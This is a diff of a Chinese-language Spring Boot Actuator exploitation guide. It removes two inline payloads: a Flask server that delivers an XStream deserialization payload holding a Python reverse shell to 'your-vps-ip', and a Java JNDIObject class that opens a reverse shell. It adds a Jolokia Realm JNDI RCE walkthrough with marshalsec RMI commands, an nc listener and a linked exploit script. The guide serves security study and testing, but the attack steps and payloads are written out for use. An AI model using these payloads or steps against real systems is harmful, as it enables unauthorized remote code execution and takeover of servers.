@@ -6,9 +6,9 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
6
6
7
7
## 零:路由知识
8
8
9
- - Spring 1.x 相关 ` / ` 开始,2.x 统一以 ` /actuator ` 作为根路径
9
+ - Spring 1.x 版本根路径以 ` / ` 开始,2.x 统一以 ` /actuator ` 作为根路径
10
10
- 有些程序员会自定义 ` /manage ` 、` /management ` 或 ** 项目相关名称** 为根路径
11
- - 默认端点名字 ,如 ` /env ` 有时候也会被程序员修改,如修改成 ` /appenv `
11
+ - 默认路由名字 ,如 ` /env ` 有时候也会被程序员修改,如修改成 ` /appenv `
12
12
13
13
14
14
@@ -18,7 +18,10 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
18
18
19
19
### 0x01:路由地址及接口调用详情泄漏
20
20
21
- 开发环境切换为线上生产环境时,相关人员没有更改配置文件或忘记环境切换,导致此漏洞;
21
+ > 开发环境切换为线上生产环境时,相关人员没有更改配置文件或忘记切换配置环境,导致此漏洞
22
+ >
23
+
24
+
22
25
23
26
直接访问以下几个路由,验证漏洞是否存在:
24
27
@@ -64,6 +67,10 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
64
67
65
68
### 0x02:配置不当而暴露的路由
66
69
70
+ > 主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置
71
+
72
+
73
+
67
74
参考 [ production-ready-endpoints] ( https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints ) ,可能因为配置不当而暴露的路由主要有:
68
75
69
76
```
@@ -252,69 +259,7 @@ Content-Type: application/json
252
259
253
260
##### 步骤一:架设响应恶意 XStream payload 的网站
254
261
255
- 下面是一个依赖 Flask 的符合要求的 [ python 脚本示例] ( https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py ) ,作用是利用目标 Linux 机器上自带的 python 来反弹shell:
256
-
257
- ``` python
258
- # !/usr/bin/env python
259
- # coding: utf-8
260
- # -**- Author: LandGrey -**-
261
-
262
- from flask import Flask, Response
263
-
264
- app = Flask(__name__ )
265
-
266
-
267
- @app.route (' /' , defaults = {' path' : ' ' })
268
- @app.route (' /<path:path>' , methods = [' GET' , ' POST' ])
269
- def catch_all (path ):
270
- xml = """ <linked-hash-set>
271
- <jdk.nashorn.internal.objects.NativeString>
272
- <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
273
- <dataHandler>
274
- <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
275
- <is class="javax.crypto.CipherInputStream">
276
- <cipher class="javax.crypto.NullCipher">
277
- <serviceIterator class="javax.imageio.spi.FilterIterator">
278
- <iter class="javax.imageio.spi.FilterIterator">
279
- <iter class="java.util.Collections$EmptyIterator"/>
280
- <next class="java.lang.ProcessBuilder">
281
- <command>
282
- <string>/bin/bash</string>
283
- <string>-c</string>
284
- <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
285
- </command>
286
- <redirectErrorStream>false</redirectErrorStream>
287
- </next>
288
- </iter>
289
- <filter class="javax.imageio.ImageIO$ContainsFilter">
290
- <method>
291
- <class>java.lang.ProcessBuilder</class>
292
- <name>start</name>
293
- <parameter-types/>
294
- </method>
295
- <name>foo</name>
296
- </filter>
297
- <next class="string">foo</next>
298
- </serviceIterator>
299
- <lock/>
300
- </cipher>
301
- <input class="java.lang.ProcessBuilder$NullInputStream"/>
302
- <ibuffer></ibuffer>
303
- </is>
304
- </dataSource>
305
- </dataHandler>
306
- </value>
307
- </jdk.nashorn.internal.objects.NativeString>
308
- </linked-hash-set>"""
309
- return Response(xml, mimetype = ' application/xml' )
310
-
311
-
312
- if __name__ == " __main__" :
313
- app.run(host = ' 0.0.0.0' , port = 80 )
314
-
315
- ```
316
-
317
-
262
+ 提供一个依赖 Flask 并符合要求的 [ python 脚本示例] ( https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py ) ,作用是利用目标 Linux 机器上自带的 python 来反弹shell。
318
263
319
264
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
320
265
@@ -396,6 +341,8 @@ Content-Type: application/json
396
341
- 目标使用了 jolokia-core 组件(版本要求暂未知)并且环境中存在相关 MBean
397
342
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
398
343
344
+ - ldap 注入可能会受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1
345
+
399
346
400
347
401
348
#### ** 利用方法:**
@@ -431,82 +378,7 @@ python3 -m http.server 80
431
378
432
379
##### 步骤三:准备要执行的 Java 代码
433
380
434
- 编写优化过后的用来反弹 shell 的 [ Java 示例代码] ( https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java ) ` JNDIObject.java ` ,内容如下:
435
-
436
- ``` java
437
- import java.io.File ;
438
- import java.io.InputStream ;
439
- import java.io.OutputStream ;
440
- import java.net.Socket ;
441
-
442
- public class JNDIObject {
443
- static {
444
- try {
445
- String ip = " your-vps-ip" ;
446
- String port = " 443" ;
447
- String py_path = null ;
448
- String [] cmd;
449
- if (! System . getProperty(" os.name" ). toLowerCase(). contains(" windows" )) {
450
- String [] py_envs = new String []{" /bin/python" , " /bin/python3" , " /usr/bin/python" , " /usr/bin/python3" , " /usr/local/bin/python" , " /usr/local/bin/python3" };
451
- for (int i = 0 ; i < py_envs. length; ++ i) {
452
- String py = py_envs[i];
453
- if ((new File (py)). exists()) {
454
- py_path = py;
455
- break ;
456
- }
457
- }
458
- if (py_path != null ) {
459
- if ((new File (" /bin/bash" )). exists()) {
460
- cmd = new String []{py_path, " -c" , " import pty;pty.spawn(\" /bin/bash\" )" };
461
- } else {
462
- cmd = new String []{py_path, " -c" , " import pty;pty.spawn(\" /bin/sh\" )" };
463
- }
464
- } else {
465
- if ((new File (" /bin/bash" )). exists()) {
466
- cmd = new String []{" /bin/bash" };
467
- } else {
468
- cmd = new String []{" /bin/sh" };
469
- }
470
- }
471
- } else {
472
- cmd = new String []{" cmd.exe" };
473
- }
474
- Process p = (new ProcessBuilder (cmd)). redirectErrorStream(true ). start();
475
- Socket s = new Socket (ip, Integer . parseInt(port));
476
- InputStream pi = p. getInputStream();
477
- InputStream pe = p. getErrorStream();
478
- InputStream si = s. getInputStream();
479
- OutputStream po = p. getOutputStream();
480
- OutputStream so = s. getOutputStream();
481
- while (! s. isClosed()) {
482
- while (pi. available() > 0 ) {
483
- so. write(pi. read());
484
- }
485
- while (pe. available() > 0 ) {
486
- so. write(pe. read());
487
- }
488
- while (si. available() > 0 ) {
489
- po. write(si. read());
490
- }
491
- so. flush();
492
- po. flush();
493
- Thread . sleep(50L );
494
- try {
495
- p. exitValue();
496
- break ;
497
- } catch (Exception e) {
498
- }
499
- }
500
- p. destroy();
501
- s. close();
502
- }catch (Throwable e){
503
- e. printStackTrace();
504
- }
505
- }
506
- }
507
- ```
508
-
509
-
381
+ 编写优化过后的用来反弹 shell 的 [ Java 示例代码] ( https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java ) ` JNDIObject.java ` ,
510
382
511
383
使用兼容低版本 jdk 的方式编译:
512
384
@@ -523,7 +395,7 @@ javac -source 1.5 -target 1.5 JNDIObject.java
523
395
下载 [ marshalsec] ( https://github.com/mbechler/marshalsec ) ,使用下面命令架设对应的 ldap 服务:
524
396
525
397
``` bash
526
- java -jar marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/# JNDIObject 1389
398
+ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/# JNDIObject 1389
527
399
```
528
400
529
401
@@ -560,19 +432,86 @@ nc -lvp 443
560
432
561
433
#### ** 漏洞分析:**
562
434
563
- [ spring boot actuator rce via jolokia] ( https://xz.aliyun.com/t/4258 )
435
+ [ spring boot actuator rce via jolokia] ( https://xz.aliyun.com/t/4258 )
436
+
437
+
438
+
439
+
440
+
441
+ ### 0x05:Jolokia Realm JNDI RCE
442
+
443
+ #### ** 利用条件:**
444
+
445
+ - 目标网站存在 ` /jolokia ` 或 ` /actuator/jolokia ` 接口
446
+ - 目标使用了 jolokia-core 组件(版本要求暂未知)并且环境中存在相关 MBean
447
+ - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
448
+ - 实际测试 RMI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121
449
+
450
+
451
+
452
+ #### ** 利用方法:**
453
+
454
+ ##### 步骤一:查看已存在的 MBeans
455
+
456
+ 访问 ` /jolokia/list ` 接口,查看是否存在 ` type=MBeanFactory ` 和 ` createJNDIRealm ` 关键词。
457
+
564
458
565
459
460
+ ##### 步骤二:准备要执行的 Java 代码
461
+
462
+ 编写优化过后的用来反弹 shell 的 [ Java 示例代码] ( https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java ) ` JNDIObject.java ` 。
463
+
464
+
465
+
466
+ ##### 步骤三:架设恶意 rmi 服务
467
+
468
+ 下载 [ marshalsec] ( https://github.com/mbechler/marshalsec ) ,使用下面命令架设对应的 rmi 服务:
469
+
470
+ ``` bash
471
+ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/# JNDIObject 1389
472
+ ```
473
+
474
+
475
+
476
+ ##### 步骤四:监听反弹 shell 的端口
477
+
478
+ 一般使用 nc 监听端口,等待反弹 shell
479
+
480
+ ``` bash
481
+ nc -lvp 443
482
+ ```
483
+
484
+
485
+
486
+ ##### 步骤五:发送恶意 payload
487
+
488
+ 根据实际情况修改 [ springboot-realm-jndi-rce.py] ( https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py ) 脚本中的目标地址,RMI 地址、端口等信息,使用 python 在自己控制的服务器上运行以上的脚本即可。
489
+
490
+
491
+
492
+ #### ** 漏洞原理:**
493
+
494
+ 1 . 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
495
+ 2 . 设置 connectionURL 地址为 RMI Service URL
496
+ 3 . 设置 contextFactory 为 RegistryContextFactory
497
+ 4 . 停止 Realm
498
+ 5 . 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞
499
+
500
+
501
+
502
+ #### ** 漏洞分析:**
503
+
504
+ [ Yet Another Way to Exploit Spring Boot Actuators via Jolokia] ( https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html )
566
505
567
506
568
507
569
- ### 0x05 :h2 database query RCE
508
+ ### 0x06 :h2 database query RCE
570
509
571
510
572
511
573
512
574
513
575
- ### 0x06 :jdbc url deserialization RCE
514
+ ### 0x07 :jdbc url deserialization RCE
576
515
577
516
578
517
0 commit comments